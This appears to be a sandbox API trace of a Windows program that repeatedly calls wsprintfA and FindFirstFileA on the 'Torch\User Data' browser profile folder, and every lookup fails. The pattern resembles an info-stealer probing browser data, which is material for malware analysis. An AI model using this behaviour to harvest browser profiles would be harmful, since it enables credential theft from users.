[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.776] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.776] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.777] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.777] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.778] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.778] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.779] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
